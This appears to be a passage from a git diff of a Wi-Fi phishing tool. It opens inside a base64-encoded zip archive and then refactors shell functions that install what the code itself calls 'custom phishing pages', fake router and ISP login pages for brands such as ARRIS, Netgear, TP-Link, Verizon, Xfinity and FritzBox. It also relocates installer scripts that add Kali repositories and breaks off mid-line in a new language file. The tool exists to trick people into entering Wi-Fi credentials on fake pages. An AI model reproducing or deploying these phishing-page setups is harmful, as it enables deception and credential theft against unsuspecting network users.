-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 -0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA==" | base64 -d > $DUMP_PATH/file.zip + source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device @@ -5602,159 +2456,93 @@ ACQAAAAAAAAAIAAAAAzpAQBqcy9tYWluLmpzCgAgAAAAAAABABgAwGkPId0k0gFxv9MKziTSATNj # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ARRIS-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data + } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/BELKIN-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/BELKIN-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data + } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/NETGEAR-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ENG/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data + } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ARRIS-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/ARRIS-ESP/index.htm $DUMP_PATH/data -} + cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data +} function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/NETGEAR-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/NETGEAR-ESP/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data + } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/Upgrade-TP-LINK/bootstrap.min.css $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/bootstrap.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/index.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/jquery.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK/error.html $DUMP_PATH/data -} - -function TPLINK_ITA { -mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/bootstrap.min.css $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/bootstrap.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/index.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/jquery.min.js $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/Upgrade-TP-LINK_ITA/error.html $DUMP_PATH/data + cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/VODAFONE-ESP/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/VODAFONE-ESP/index.htm $DUMP_PATH/data + cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device - cp -r $WORK_DIR/sites/Login-Verizon/Verizon_files $DUMP_PATH/data - cp $WORK_DIR/sites/Login-Verizon/Verizon.html $DUMP_PATH/data -} - -function XFINITY { - mkdir $DUMP_PATH/data &>$flux_output_device - cp -r $WORK_DIR/sites/Login-Xfinity/Xfinity_files $DUMP_PATH/data - cp $WORK_DIR/sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data + cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data + cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/HUAWEI-ENG/info2.css $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/info.css $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/background.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/house.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/house1.png $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/ayuda.htm $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/error.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/final.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/info.html $DUMP_PATH/data - cp $WORK_DIR/sites/HUAWEI-ENG/index.htm $DUMP_PATH/data -} + cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data + + } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ZIGGO_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/KPN_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/ZIGGO2016_NL/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/FRITZBOX_DE/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/FRITZBOX_ENG/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device - cp $WORK_DIR/sites/GENEXIS_DE/* $DUMP_PATH/data + cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data + } + +function Login-Netgear { + mkdir $DUMP_PATH/data &>$flux_output_device + cp $WORK_DIR/Sites/Login-Netgear/* $DUMP_PATH/data + } + +function Login-Xfinity { + mkdir $DUMP_PATH/data &>$flux_output_device + cp $WORK_DIR/Sites/Login-Xfinity/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## diff --git a/add.py b/install/add.py similarity index 77% rename from add.py rename to install/add.py index d154788..745c4b5 100755 --- a/add.py +++ b/install/add.py @@ -6,7 +6,6 @@ commands = [ "apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6", "echo '# Kali linux repositories", "deb http://http.kali.org/kali kali-rolling main contrib non-free", - "deb http://repo.kali.org/kali kali-bleeding-edge main' >> /etc/apt/sources.list", "apt-get update -m" ] diff --git a/arch-install b/install/arch-install similarity index 100% rename from arch-install rename to install/arch-install diff --git a/install.sh b/install/install.sh similarity index 100% rename from install.sh rename to install/install.sh diff --git a/remove.py b/install/remove.py similarity index 100% rename from remove.py rename to install/remove.py diff --git a/language/bind b/language/bind new file mode 100644 index 0000000..2584807 --- /dev/null +++ b/language/bind @@ -0,0 +1,75 @@ + +#EN +source $WORK_DIR/sites/neutra/en + +#GER +source $WORK_DIR/sites/neutra/ger + +#ESP +source $WORK_DIR/sites/neutra/esp + +#IT +source $WORK_DIR/sites/neutra/it + +#FR +source $WORK_DIR/sites/neutra/fr + +#POR +source $WORK_DIR/sites/neutra/por + +#RUS +source $WORK_DIR/sites/neutra/rus + +#TR +source 